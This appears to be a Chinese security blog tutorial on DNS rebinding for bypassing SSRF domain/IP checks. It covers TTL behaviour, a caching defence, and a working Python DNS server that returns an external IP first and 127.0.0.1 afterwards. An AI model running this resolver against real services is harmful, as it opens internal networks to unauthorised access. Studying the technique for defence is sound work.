前言

在SSRF漏洞的利用中,经常能看到后端对输入域名或者IP的各种检验过滤,那我们就需要用各种方式来进行绕过了,而其中有一种叫做DNS Rebinding(DNS重绑定)的绕过方式有别于其他的绕过方式,很有趣。

DNS、TTL

访问域名的时候,服务器会先向DNS服务器发出解析请求,DNS服务器再向域名指定的授权DNS服务器发出解析请求,得到该域名对应的IP,然后去访问该IP地址。

TTL指DNS缓存的存活时间。在第一次DNS请求后,请求结果会被DNS服务器缓存下来,在缓存存活时间内不再请求,而是直接将结果返回。

后端检验

一般来说后端检验并执行会向DNS服务器发出两次请求,第一次询问对应IP是否合法(在内网),第二次获取对应IP进行访问。有时候可以通过302跳转来绕过。

DNS Rebinding

通过各种手段,让后端第一次DNS请求得到的IP为外网,第二次为内网。

防御方法

缓存第一次DNS解析结果。


实现方式

第一种:特定域名实现

利用TTL=0,在第一次请求进行延时,然后趁机修改DNS解析,让第二次请求指向内网。

详情看这里:http://bendawang.site/2017/05/31/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93/

可行但是不好用的方法。

第二种:向域名商添加DNS解析记录

像这样:

通过给一个子域名添加两条A记录,让DNS解析请求的时候随机返回,有1/4的几率成功绕过。

但是实际运用的时候,这种方法还不一定能行,我的两台VPS一台成功一台失败。

不是太可行,还算好用的方法。

第三种:利用ceye.io

ceye.io有提供DNS Rebinding的攻击方式,具体可以参考网站上的实例,实现方式跟2一样,没有域名的师傅们也可以玩一玩这一种方式。

第四种:向域名商添加DNS解析记录,并自行搭建DNS服务器

同样添加两条记录,分别是NS记录和A记录:

NS记录将dr子域名的解析交给ns,而ns指向我们自己的VPS,然后我们在VPS上面搭建一个DNS服务器,让第一次解析指向外网,第二次指向内网即可:

from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server

record={}

class DynamicResolver(object):

    def _doDynamicResponse(self, query):
        name = query.name.name

        if name not in record or record[name]<1:
            ip="*.*.*.*"
        else:
            ip="127.0.0.1"

        if name not in record:
            record[name]=0
        record[name]+=1

        print name+" ===> "+ip

        answer = dns.RRHeader(
            name=name,
            type=dns.A,
            cls=dns.IN,
            ttl=0,
            payload=dns.Record_A(address=b'%s'%ip,ttl=0)
        )
        answers = [answer]
        authority = []
        additional = []
        return answers, authority, additional

    def query(self, query, timeout=None):
        return defer.succeed(self._doDynamicResponse(query))

def main():
    factory = server.DNSServerFactory(
        clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
    )

    protocol = dns.DNSDatagramProtocol(controller=factory)
    reactor.listenUDP(53, protocol)
    reactor.run()



if __name__ == '__main__':
    raise SystemExit(main())

很多地方都能找到DNS服务器的代码,搭建完成后可以使用curl、ping、dig等多种方式来测试一下。


参考文章:

http://bendawang.site/2017/05/31/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93/

https://xz.aliyun.com/t/63


Web DNS 工具

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

wordpress5.1-CSRF_to_XSS_to_RCE复现
在连接MySQL服务端时读取客户端文件